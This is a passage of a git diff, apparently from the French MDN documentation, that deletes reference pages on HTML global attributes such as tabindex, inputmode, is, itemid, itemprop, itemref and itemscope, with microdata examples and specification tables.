Cet attribut aide à définir la langue utilisée pour l'élément. Pour les éléments non-éditables, c'est la langue dans laquelle ils sont écrits et pour les éléments éditables, c'est la langue dans laquelle ils devraient être écrits. Cet attribut contient une seule valeur telle que définie dans le document IETF Tags for Identifying Languages (BCP47). L'attribut xml:lang est prioritaire par rapport à cet attribut lorsqu'il s'agit de déterminer la langue d'un élément.
-
{{htmlattrdef("part")}} {{experimental_inline}}
-
Une liste séparée par des espaces avec les noms des parties (parts) de l'élément. Les noms des parties permettent au CSS de cibler et de mettre en forme certains éléments d'un arbre shadow via le pseudo-élément {{cssxref("::part")}}.
-
{{htmlattrdef("slot")}}
-
Cet attribut affecte un créneau de l'arbre du shadow DOM pour un élément. L'élément ayant l'attribut slot est affecté au créneau créé par l'élément {{HTMLElement("slot")}} pour lequel l'attribut {{htmlattrxref("name", "slot")}} correspond à la valeur de l'attribut slot.
-
{{htmlattrdef("spellcheck")}} {{experimental_inline}}
-
Un attribut à valeur contrainte qui définit s'il faut détecter les fautes d'orthographe/grammaire dans le texte de l'élément. Les valeurs autorisées pour cet attribut sont : -
    -
  • true qui indique que, si possible, il faut vérifier les erreurs d'orthographe
    • -
  • false qui indique qu'il ne faut pas vérifier les erreurs.
    • -
-
-
{{htmlattrdef("style")}}
-
Cet attribut contient les déclarations CSS utilisées pour mettre en forme l'élément. Note : il est recommandé d'utiliser un ou plusieurs fichiers séparés, plutôt que cet attribut, pour définir les règles de mise en forme. Le rôle de l'élément {{HTMLElement("style")}} consiste à permettre une mise en forme rapide, notamment pour des tests.
-
{{htmlattrdef("tabindex")}}
-
Cet attribut à valeur entière indique l'ordre dans lequel l'élément participe à la navigation au clavier via la tabulation. Il peut prendre différente valeur : -
    -
  • une valeur négative indiquera que l'élément peut recevoir le focus mais n'est pas accessible via la navigation séquentielle au clavier
    • -
  • 0 indiquera que l'élément peut recevoir le focus et être accessible via la navigation au clavier mais l'ordre est relatif et déterminé par l'agent utilisateur
    • -
  • une valeur positive indiquera que l'élément peut recevoir le focus et qu'il est accessible via la navigation au clavier. La valeur utilisée indique l'ordre relatif de l'élément dans la navigation. Autrement dit, la navigation au clavier ira dans le sens croissant des éléments selon leurs valeurs respectives de tabindex. Si plusieurs éléments ont la même valeur, ce sera leur ordre relatif dans le document qui sera utilisé.
    • -
-
-
{{htmlattrdef("title")}}
-
Cet attribut contient une représentation textuelle de l'information auquel il est lié. Une telle information est généralement, mais pas nécessairement, affichée sous la forme d'une bulle d'informations.
-
{{htmlattrdef("translate")}} {{experimental_inline}}
-
Un attribut à valeur contrainte qui est utilisé pour définir si les valeurs des attributs et des éléments fils de type {{domxref("Text")}} doivent être traduits lorsque la page est localisée. Les valeurs autorisées pour cet attribut sont : -
    -
  • La chaîne vide ou yes qui indiquent que l'élément doit être traduit
    • -
  • no qui indique que l'élément ne sera pas traduit.
    • -
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("HTML WHATWG", "dom.html#global-attributes", "Global attributes")}}{{Spec2("HTML WHATWG")}}
{{SpecName("CSS Shadow Parts", "#exposing")}}{{Spec2("CSS Shadow parts")}}Ajout des attributs universels part et exportparts.
{{SpecName("HTML5.3", "dom.html#global-attributes", "Global attributes")}}{{Spec2("HTML5.3")}}
{{SpecName("HTML5.2", "dom.html#global-attributes", "Global attributes")}}{{Spec2("HTML5.2")}}Dérivation de {{SpecName("HTML WHATWG")}}. Depuis, {{SpecName("HTML5.1")}}, les attributs itemid, itemprop, itemref, itemscope et itemtype ont été ajoutés.
{{SpecName('HTML5.1', "dom.html#global-attributes", "Global attributes")}}{{Spec2('HTML5.1')}}Les attributs contextmenu, spellcheck, draggable, et dropzone ont été ajoutés depuis {{SpecName('HTML5 W3C')}}.
{{SpecName('HTML5 W3C', "dom.html#global-attributes", "Global attributes")}}{{Spec2('HTML5 W3C')}}Le concept d'attribut universel est introduit et les attributs dir, lang, style, id, class, tabindex, accesskey, title sont désormais des attributs universels.
- xml:lang qui faisait initialement partie de XHTML est inclus dans HTML. Les attributs
- hidden, data-*, contenteditable et translate sont ajoutés.
{{SpecName('HTML4.01')}}{{Spec2('HTML4.01')}}Aucun attribut universel n'est défini. Plusieurs attributs, devenus universels par la suite, sont définis sur un sous-ensemble d'élément.
- class et style sont pris en charge pour tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.
- dir est pris en charge pour tous les éléments à l'exception de {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} et {{HTMLElement("script")}}.
- id est pris en charge pour tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.
- lang est pris en charge pour tous les éléments à l'exception de {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} et {{HTMLElement("script")}}.
- tabindex est uniquement pris en charge pour les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}.
- accesskey est uniquement pris en charge pour {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} et {{HTMLElement("textarea")}}.
- title est pris en charge pour tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}} et {{HTMLElement("title")}}.
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes")}}

- -

Voir aussi

- -
    -
  • Les interfaces {{domxref("Element")}} et {{domxref("GlobalEventHandlers")}} qui permettent de manipuler la plupart des attributs globaux.
    • -
diff --git a/files/fr/web/html/attributs_universels/inputmode/index.html b/files/fr/web/html/attributs_universels/inputmode/index.html deleted file mode 100644 index 2babf82909..0000000000 --- a/files/fr/web/html/attributs_universels/inputmode/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: inputmode -slug: Web/HTML/Attributs_universels/inputmode -tags: - - Attribut - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/inputmode ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel inputmode est un attribut à valeur contrainte qui fournit une indication au navigateur quant au type de donnée qui peut être saisi par l'utilisateur lors de l'édition de l'élément ou de son contenu. Les valeurs autorisées sont les suivantes :

- -
-
none
-
Aucun clavier virtuel ne doit être affiché. Cette valeur s'avère utile lorsque l'application ou le site web implémente son propre outil de saisie.
-
text
-
C'est du texte qui sera saisi et un clavier dans la locale de l'utilisateur pourra être affiché.
-
decimal
-
C'est un nombre décimal qui sera saisi. Le clavier affiché peut contenir des chiffres et le séparateur décimal de la locale de l'utilisateur. Attention, selon les appareils, le signe moins (-) peut ne pas être présent.
-
numeric
-
C'est un nombre entier qui sera saisi. Le clavier affiché peut contenir les chiffres de 0 à 9. Attention, selon les appareils, le signe moins (-) peut ne pas être présent.
-
tel
-
C'est un numéro de téléphone qui sera saisi. Le clavier affiché pourra être celui d'un téléphone avec les chiffres allant de 0 à 9, l'astérisque et le dièse. Pour les champs de formulaire où il faut saisir un numéro de téléphone, on utilisera plutôt <input type="tel">.
-
search
-
L'élément éditable sert à la recherche. Le clavier affiché sera optimisé pour une recherche (par exemple, la touche Entrée pourra être indiquée avec le mot-clé « Rechercher »).
-
email
-
C'est une adresse électronique qui sera saisie. Le clavier affiché pourra être optimisé pour la saisie d'adresses email (généralement, on aura le caractère @ et d'autres éléments). Pour les champs de formulaire où il faut saisir une adresse électronique, on utilisera plutôt <input type="email">.
-
url
-
C'est une URL qui sera saisie. Le clavier affiché pourra être optimisé pour la saisie d'URL. Ainsi, la touche pour la barre oblique pourra être plus accessible, le clavier pourra proposer un accès à l'historique des URL utilisées, etc. Pour les champs de formulaire où il faut saisir une URL, on utilisera plutôt <input type="url">.
-
- -

Lorsque cet attribut n'est pas explicitement défini, sa valeur par défaut est "text", ce qui indique que c'est du texte qui sera saisi et qu'un clavier standard devrait être utilisé.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("HTML WHATWG", "interaction.html#input-modalities:-the-inputmode-attribute", "inputmode")}}{{Spec2("HTML WHATWG")}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.inputmode")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/is/index.html b/files/fr/web/html/attributs_universels/is/index.html deleted file mode 100644 index e460ffc4a3..0000000000 --- a/files/fr/web/html/attributs_universels/is/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: is -slug: Web/HTML/Attributs_universels/is -tags: - - Attribut universel - - HTML - - Reference -translation_of: Web/HTML/Global_attributes/is ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut is est un attribut universel qui indique qu'un élément HTML standard devrait se comporter comme un élément natif personnalisé (custom element) défini (voir Manipuler les custom elements pour plus de détails).

- -

Cet attribut peut uniquement être utilisé si l'élément personnalisé indiqué a été correctement défini dans le document courant et qu'il étend le type d'élément sur lequel il est appliqué.

- -

Exemples

- -

Cet exemple est tiré de l'exemple word-count-web-component (voir le résultat en live).

- -
// On crée une classe pour l'élément
-class WordCount extends HTMLParagraphElement {
-  constructor() {
-    // On appelle super() pour récupérer l'initialisation
-    // des classes parentes
-    super();
-
-    // Le contenu du constructeur, etc.
-    ...
-
-  }
-}
-
-// On définit le nouvel élément.
-customElements.define('word-count', WordCount, { extends: 'p' });
- -
<p is="word-count"></p>
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "custom-elements.html#attr-is", "is")}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.is")}}

- -

Voir aussi

- - diff --git a/files/fr/web/html/attributs_universels/itemid/index.html b/files/fr/web/html/attributs_universels/itemid/index.html deleted file mode 100644 index c592936a5d..0000000000 --- a/files/fr/web/html/attributs_universels/itemid/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: itemid -slug: Web/HTML/Attributs_universels/itemid -tags: - - Attribut - - Attribut universel - - HTML - - Micro-données - - Reference - - itemid -translation_of: Web/HTML/Global_attributes/itemid ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel itemid permet d'identifier un objet, au sens des microdonnées, de façon unique et globale. L'attribut itemid peut uniquement être défini sur les éléments qui ont un attribut {{htmlattrxref("itemscope")}} et un attribut {{htmlattrxref("itemtype")}}. De plus, un itemid ne peut pas être défini sur des éléments dont l'attribut itemscope possède un attribut itemtype qui définit un vocabulaire qui ne prend pas en charge les identifiants globaux tels que défini dans la spécification du vocabulaire.

- -

La signification exacte d'un identifiant global est déterminée par la spécification du vocabulaire. C'est le rôle de cette spécification d'autoriser ou non la présence de plusieurs éléments avec le même identifiant (sur une ou plusieurs pages) et de définir les règles de gestion associées.

- -

Syntaxe

- -

Syntaxe formelle

- -
itemid="URN"
- -

Note : Selon la définition du WHATWG, un itemid doit être une URL. Dans l'exemple qui suit, on utilise plutôt une URN, plus appropriée pour définir un identifiant unique comme itemid. Cette incohérence reflète l'état actuellement incomplet de la spécification sur les microdonnées.

- -

Exemple

- -

HTML

- -

Un élément qui décrit un livre :

- -
<dl itemscope
-    itemtype="http://vocab.example.net/book"
-    itemid="urn:isbn:0-330-34032-8">
- <dt>Title <dd itemprop="title">The Reality Dysfunction
- <dt>Author <dd itemprop="author">Peter F. Hamilton
- <dt>Publication date
- <dd><time itemprop="pubdate" datetime="1996-01-26">26 January 1996</time> </dl>
-
- -

Données structurées correspondantes

- - - - - - - - - - - - - - - - - - - - - - - - -
itemscopeitemtype: itemid -
http://vocab.example.net/book: urn:isbn:0-330-34032-8
-
itemproptitleThe Reality Dysfunction
itempropauthor -
Peter F. Hamilton
-
itemproppubdate1996-01-26
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#items", "itemid")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#attr-itemid", "itemid")}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.itemid")}}

- -

Voir aussi

- -
    -
  • Les différents attributs universels
    • -
  • Les autres attributs universels relatifs aux microdonnées : -
      -
    • {{htmlattrxref("itemid")}}
      • -
    • {{htmlattrxref("itemprop")}}
      • -
    • {{htmlattrxref("itemref")}}
      • -
    • {{htmlattrxref("itemscope")}}
      • -
    • {{htmlattrxref("itemtype")}}
      • -
    -
    • -
diff --git a/files/fr/web/html/attributs_universels/itemprop/index.html b/files/fr/web/html/attributs_universels/itemprop/index.html deleted file mode 100644 index 956054bb32..0000000000 --- a/files/fr/web/html/attributs_universels/itemprop/index.html +++ /dev/null @@ -1,436 +0,0 @@ ---- -title: itemprop -slug: Web/HTML/Attributs_universels/itemprop -tags: - - Attribut - - Attribut universel - - HTML - - Micro-données - - Microdata -translation_of: Web/HTML/Global_attributes/itemprop ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel itemprop est utilisé afin d'ajouter des propriétés à un objet. C'est un attribut universel et chaque élément HTML peut donc avoir un attribut itemprop qui permettra de former un couple de nom (la valeur de l'attribut) et de valeur (la valeur de l'élément). Chacune de ces paires constitue une propriété et un groupe de propriété forme un objet (item). Les valeurs des propriétés sont généralement des chaînes de caractères ou des URL et peuvent être associées à de nombreux éléments comme {{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("object")}}, {{HTMLElement("source")}} , {{HTMLElement("track")}} et {{HTMLElement("video")}}.

- -

Un exemple simple

- -

HTML

- -
<div itemscope itemtype="http://schema.org/Movie">
-  <h1 itemprop="name">Avatar</h1>
-  <span>Director:
-    <span itemprop="director">James Cameron</span>
-    (born August 16, 1954)
-  </span>
-  <span itemprop="genre">Science fiction</span>
-  <a href="../movies/avatar-theatrical-trailer.html"
-    itemprop="trailer">Trailer</a>
-</div>
- -

Structure de données

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Objet
Nom pour itempropValeur pour itemprop
itempropnameAvatar
itempropdirectorJames Cameron
itempropgenreScience fiction
itemproptrailer../movies/avatar-theatrical-trailer.html
- -

Propriétés

- -

Les valeurs des propriétés sont généralement des chaînes de caractères ou des URL. Lorsque c'est une URL, on l'exprime grâce à l'élément {{HTMLElement("a")}} et avec son attribut href. Pour un élément {{HTMLElement("img")}}, on lira son attribut src, de même pour les autres éléments HTML qui font appel à d'autres ressources.

- -

Trois propriétés dont les valeurs sont des chaînes simples

- -
<div itemscope>
- <p>My name is
-   <span itemprop="name">Neil</span>.
- </p>
- <p>My band is called
-   <span itemprop="band">Four Parts Water</span>.
- </p>
- <p>I am
-   <span itemprop="nationality">British</span>.
- </p>
-</div>
- -

Une propriété « image » dont la valeur est une URL

- -
<div itemscope>
- <img itemprop="image"
-  src="google-logo.png" alt="Google">
-</div>
-
- -

Une propriété dont la valeur est un identifiant « machine »

- -
<h1 itemscope>
- <data itemprop="product-id"
-  value="9678AOU879">The Instigator 2000</data>
-</h1>
- -

Lorsqu'une chaîne est décrite avec un format machine plutôt qu'un format « humain », on la propriété est exprimée avec la valeur de l'attribut value de l'élément {{HTMLElement("data")}} et c'est le contenu de l'élément qui fournira la valeur humainement compréhensible.

- -

Un exemple de mesure

- -
<div itemscope itemtype="http://schema.org/Product">
- <span itemprop="name">
-   Panasonic White 60L Refrigerator
- </span>
- <img src="panasonic-fridge-60l-white.jpg" alt="">
-  <div itemprop="aggregateRating"
-       itemscope
-       itemtype="http://schema.org/AggregateRating">
-   <meter itemprop="ratingValue" min=0 value=3.5 max=5>
-     Rated 3.5/5
-   </meter>
-   (based on <span itemprop="reviewCount">11</span>
-   customer reviews)
-  </div>
-</div>
- -

Pour les données numériques, on peut utiliser l'élément {{HTMLElement("meter")}} et la valeur de son attribut value.

- -

Une propriété de date

- -
<div itemscope>
- I was born on
- <time itemprop="birthday" datetime="2009-05-10">
-   May 10th 2009
- </time>.
-</div>
- -

Pour les valeurs temporelles, on utilisera les éléments {{HTMLElement("time")}} et son attribut datetime.

- -

Imbrication de propriétés

- -
<div itemscope>
- <p>Name:
-   <span itemprop="name">Amanda</span>
- </p>
- <p>Band:
-   <span itemprop="band" itemscope>
-     <span itemprop="name">Jazz Band</span>
-    (<span itemprop="size">12</span> players)
-   </span>
- </p>
-</div>
- -

On peut avoir des imbrications de propriétés et utiliser l'attribut itemscope sur l'élément qui porte le groupe.

- -

L'élément de plus haut niveau possède deux propriétés name et band. La valeur de name est Amanda et la valeur de band est un objet à part entière, composé de deux propriétés name et size. Le valeur pour name est Jazz Band et la valeur de size est 12. L'objet de plus haut niveau est un objet qui ne fait pas partie d'un autre objet.

- -

Séparation des objets

- -
<div itemscope id="amanda" itemref="a b"></div>
-<p id="a">Name: <span itemprop="name">Amanda</span></p>
-<div id="b" itemprop="band" itemscope itemref="c"></div>
-<div id="c">
- <p>Band: <span itemprop="name">Jazz Band</span></p>
- <p>Size: <span itemprop="size">12</span> players</p>
-</div>
- -

On obtient le même résultat qu'avec l'exemple précédent. Le premier objet possède deux propriétés name (qui vaut Amanda) et band qui est défini avec un autre objet. Le deuxième objet possède deux propriétés name (qui vaut Jazz Band) et size (qui vaut 12).

- -

Un objet avec plusieurs occurrences d'une propriété

- -
<div itemscope>
- <p>Flavors in my favorite ice cream:</p>
- <ul>
-  <li itemprop="flavor">Lemon sorbet</li>
-  <li itemprop="flavor">Apricot sorbet</li>
- </ul>
-</div>
- -

Cet objet possède deux fois la même propriété flavor, qui prend deux valeurs Lemon sorbet et Apricot sorbet.

- -

Deux propriétés avec la même valeur

- -
<div itemscope>
- <span itemprop="favorite-color favorite-fruit">
-  orange
- </span>
-</div>
- -

On peut définir deux propriétés au même endroit si elles prennent la même valeur.

- -

Équivalence sémantique

- -
<figure>
- <img src="castle.jpeg">
- <figcaption>
-  <span itemscope>
-    <span itemprop="name">The Castle</span>
-  </span>
-  (1986)
- </figcaption>
-</figure>
- -
<span itemscope>
-  <meta itemprop="name" content="The Castle">
-</span>
-<figure>
- <img src="castle.jpeg">
- <figcaption>The Castle (1986)</figcaption>
-</figure>
- -

Ces deux exemples sont équivalents d'un point de vue sémantique. Tous les deux se composent d'un schéma et d'une légende et tous les deux possèdent un objet avec une propriété name qui vaut The Castle. Une différence subsiste : si l'utilisateur glisse-dépose l'élément, l'objet sera inclus dans les données. Dans les deux cas, l'image n'est pas associée à l'objet.

- -

Les noms et les valeurs

- -

Une propriété est un ensemble non-ordonné de composants uniques sensibles à la casse qui représentent les paires de noms/valeurs. Les valeur doit avoir au moins composant pour se rattacher à l'objet. Dans le tableau ci-après, chaque cellule correspond à un composant.

- -

Exemples de noms

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Objet
nom pour itempropvaleur pour itemprop
itempropcountryIreland
itempropOption2
itemprophttps://www.flickr.com/photos/nlireland/6992065114/Ring of Kerry
itempropimghttps://www.flickr.com/photos/nlireland/6992065114/
itempropwebsiteflickr
itemprop(token)(token)
- -

Les composants sont des chaînes de caractères ou des URL. Un objet est appelé un objet typé si c'est une URL. Les chaînes ne peuvent pas contenir de point ou de deux points.

- -
    -
  1. Si un objet est un objet typé, il doit être : -
      -
    1. Un nom de propriété autorisé par la spécification qui définit les types pertinents pour un objet ou
      2. -
    2. Une URL valide qui est une URL absolue qui définit un nom faisant partie de la spécification du vocabulaire ou
      3. -
    3. Une URL valide qui est une URL absolue utilisée comme un nom propriétaire ou
      4. -
    -
    2. -
  2. Si un objet n'est pas un objet typé, le nom doit être : -
      -
    1. Une chaîne qui ne contient pas de caractères "." (U+002E FULL STOP) ou ":" (U+003A COLON) et qui est utilisée comme un nom « propriétaire » pour la propriété (c'est-à-dire avec un nom qui n'est pas défini dans une spécification publique).
      2. -
    -
    3. -
- -

Note :  Les caractères « : » sont interdits pour les valeurs qui ne sont pas des URL afin de pouvoir distinguer les URL du reste. Les valeurs avec les caractères « . » sont réservés pour de futurs ajouts et les blancs ne sont pas autorisés car les valeurs seraient analysées comme plusieurs valeurs distinctes.

- -

Valeurs

- -

La valeur d'une propriété est définie comme le premier cas qui correspond dans cette liste :

- -
    -
  • Si l'élément possède un attribut itemscope : - -
      -
    • La valeur est l'objet créé par l'élément.
      • -
    -
    • -
  • Si l'élément est un élément meta : -
      -
    • La valeur est celle de l'attribut content s'il existe, la chaîne vide sinon.
      • -
    -
    • -
  • Si l'élément est audio, embed, iframe, img, source, track ou video : -
      -
    • La valeur est l'URL correspondant à l'analyse de l'attribut src relatif au nœeud du document ou la chaîne vide s'il n'y pas de tel attribut ou que la recomposition de l'URL échoue.
      • -
    -
    • -
  • Si l'élément est un élément a, area ou link : -
      -
    • La valeur est l'URL qui correspond à l'analyse de la valeur de l'attribut href relatif au nœud du document ou la chaîne vide s'il n'y pas de tel attribut ou que la recomposition de l'URL échoue.
      • -
    -
    • -
  • Si l'élément est un élément object : -
      -
    • La valeur est l'URL qui correspond à l'analyse de la valeur de l'attribut data relatif au nœud du document ou la chaîne vide s'il n'y pas de tel attribut ou que la recomposition de l'URL échoue.
      • -
    -
    • -
  • Si l'élément est un élément data : -
      -
    • La valeur est la valeur l'attribut value s'il est présent ou la chaîne vide sinon.
      • -
    -
    • -
  • Si l'élément est un élément meter : -
      -
    • La valeur est la valeur l'attribut value s'il est présent ou la chaîne vide sinon. -
        -
      -
      • -
    -
    • -
  • Si l'élément est un élément time : -
      -
    • La valeur de l'élément est la valeur de l'attribut datetime.
      • -
    -
    • -
- -

Sinon :

- -
    -
  • La valeur de l'élément est le contenu textuel de l'élément HTML (textContent).
    • -
- -

Les éléments qui permettent d'utiliser des attributs URL pour des URL absolues sont : a, area, audio, embed, iframe, img, link, object, source, track et video.

- -

Ordre des noms

- -

L'ordre des noms n'a pas d'importance mais si une propriété possède plusieurs valeurs, l'ordre sera relatif pour cette propriété.

- -

Exemples équivalents

- -
<div itemscope>
- <p itemprop="a">1</p>
- <p itemprop="a">2</p>
- <p itemprop="b">test</p>
-</div>
- -
<div itemscope>
- <p itemprop="b">test</p>
- <p itemprop="a">1</p>
- <p itemprop="a">2</p>
-</div>
- -
<div itemscope>
- <p itemprop="a">1</p>
- <p itemprop="b">test</p>
- <p itemprop="a">2</p>
-</div>
- -
<div id="x">
- <p itemprop="a">1</p>
-</div>
-<div itemscope itemref="x">
- <p itemprop="b">test</p>
- <p itemprop="a">2</p>
-</div>
-
- -

Syntaxe

- -

Syntaxe formelle

- -
itemprop = "name", value
- -

Exemples

- -

HTML

- -

Un exemple sur un livre qu'on décrit avec les différents attributs.

- -
<dl itemscope
-    itemtype="http://vocab.example.net/book"
-    itemid="urn:isbn:0-330-34032-8">
- <dt>Title <dd itemprop="title">The Reality Dysfunction
- <dt>Author <dd itemprop="author">Peter F. Hamilton
- <dt>Publication date
- <dd>
-  <time itemprop="pubdate" datetime="1996-01-26">
-    26 January 1996
-  </time>
-</dl>
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#dfn-attr-itemprop", "itemprop")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#names:-the-itemprop-attribute", "itemprop")}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.itemprop")}}

- -

Voir aussi

- -
    -
  • Les différents attributs universels
    • -
  • Les autres attributs universels relatifs aux microdonnées : -
      -
    • {{htmlattrxref("itemid")}}
      • -
    • {{htmlattrxref("itemprop")}}
      • -
    • {{htmlattrxref("itemref")}}
      • -
    • {{htmlattrxref("itemscope")}}
      • -
    • {{htmlattrxref("itemtype")}}
      • -
    -
    • -
diff --git a/files/fr/web/html/attributs_universels/itemref/index.html b/files/fr/web/html/attributs_universels/itemref/index.html deleted file mode 100644 index 894df9c87c..0000000000 --- a/files/fr/web/html/attributs_universels/itemref/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: itemref -slug: Web/HTML/Attributs_universels/itemref -tags: - - Attribut - - Attribut universel - - HTML - - Micro-données - - Microdata - - Reference -translation_of: Web/HTML/Global_attributes/itemref ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel itemref permet d'associer des propriétés à un objet via itemscope lorsque l'élement courant n'est pas un élément descendant. itemref fournit une liste d'identifiants d'éléments (à ne pas confondre avec itemid) dont des propriétés sont définies plus loin dans le document.

- -

L'attribut itemref peut uniquement être défini sur des éléments pour lesquels un attribut itemscope a été défini.

- -

Note : L'attribut itemref ne fait pas partie du modèle de données des micro-données. Il s'agit purement d'une construction syntaxique pour aider les auteurs à annoter une page où les données ne suivent pas une structure arborescente claire.

- -

Syntaxe

- -

Syntaxe formelle

- -
itemref
- -

Exemple

- -

HTML

- -
<div itemscope id="amanda" itemref="a b"></div>
-<p id="a">Name: <span itemprop="name">Amanda</span> </p>
-<div id="b" itemprop="band" itemscope itemref="c"></div>
-<div id="c">
-    <p>Band: <span itemprop="name">Jazz Band</span> </p>
-    <p>Size: <span itemprop="size">12</span> players</p>
-</div>
- -

Structure de données correspondante

- -

Au format JSON-LD :

- -
{
-  "@id": "amanda",
-  "name": "Amanda",
-  "band": {
-    "@id": "b",
-    "name": "Jazz Band",
-    "size": 12
-  }
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#dfn-itemref", "itemref")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#attr-itemref", "itemref")}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.global_attributes.itemref")}}

- -

Voir aussi

- -
    -
  • Les différents attributs universels
    • -
  • Les autres attributs universels relatifs aux microdonnées : -
      -
    • {{htmlattrxref("itemid")}}
      • -
    • {{htmlattrxref("itemprop")}}
      • -
    • {{htmlattrxref("itemref")}}
      • -
    • {{htmlattrxref("itemscope")}}
      • -
    • {{htmlattrxref("itemtype")}}
      • -
    -
    • -
diff --git a/files/fr/web/html/attributs_universels/itemscope/index.html b/files/fr/web/html/attributs_universels/itemscope/index.html deleted file mode 100644 index 5e76969620..0000000000 --- a/files/fr/web/html/attributs_universels/itemscope/index.html +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: itemscope -slug: Web/HTML/Attributs_universels/itemscope -tags: - - Attribut - - Attribut universel - - HTML - - Micro-données - - Microdata - - Reference -translation_of: Web/HTML/Global_attributes/itemscope ---- -
{{HTMLSidebar("Global_attributes")}}
- -

L'attribut universel itemscope fonctionne généralement avec l'attribut itemtype afin d' indiquer qu'un bloc HTML contient un objet donné. itemscope crée l'objet et définit la portée de l'itemtype associé. Il est possible d'associer un attribut itemscope à n'importe quel élément HTML.

- -

Les identifiants rattachés à itemscope

- -

Un élément qui possède un attribut itemscope permet de définir un nouvel élément qui sera un groupe de paires de noms/valeurs. Les éléments qui ont un attribut itemscope et un attribut itemtype peuvent également définir un attribut id (à ne pas confondre avec itemid) pour identifier de façon unique l'élément sur le Web.

- -

Syntaxe

- -

Syntaxe formelle

- -
itemscope
- -

Exemple

- -

Dans cet exemple, on a trois attributs itemscopes. Ces trois itemscopes définissent les portées respectives des itemtypes correspondants qui sont : Recipe, AggregateRating et NutritionInformation.

- -

HTML

- -
<div itemscope itemtype="https://schema.org/Recipe">
-<h2 itemprop="name">Grandma's Holiday Apple Pie</h2>
-<img itemprop="image" src="https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg" width="50" height="50"/>
-<p>By <span itemprop="author" itemscope itemtype="https://schema.org/Person">
-<span itemprop="name">Carol Smith</p></span>
-</span>
-<p>Published: <time datetime="2009-11-05" itemprop="datePublished">
-November 5, 2009</p></time>
-<span itemprop="description">This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.<br></span>
- <span itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating">
- <span itemprop="ratingValue">4.0</span> stars based on <span itemprop="reviewCount">35</span> reviews<br></span>
-Prep time: <time datetime="PT30M" itemprop="prepTime">30 min<br></time>
- Cook time: <time datetime="PT1H" itemprop="cookTime">1 hour<br></time>
- Total time: <time datetime="PT1H30M" itemprop="totalTime">1 hour 30 min<br></time>
- Yield: <span itemprop="recipeYield">1 9" pie (8 servings)<br></span>
- <span itemprop="nutrition" itemscope itemtype="https://schema.org/NutritionInformation">
- Serving size: <span itemprop="servingSize">1 medium slice<br></span>
- Calories per serving: <span itemprop="calories">250 cal<br></span>
- Fat per serving: <span itemprop="fatContent">12 g<br></span>
-</span>
-<p>Ingredients:<br>
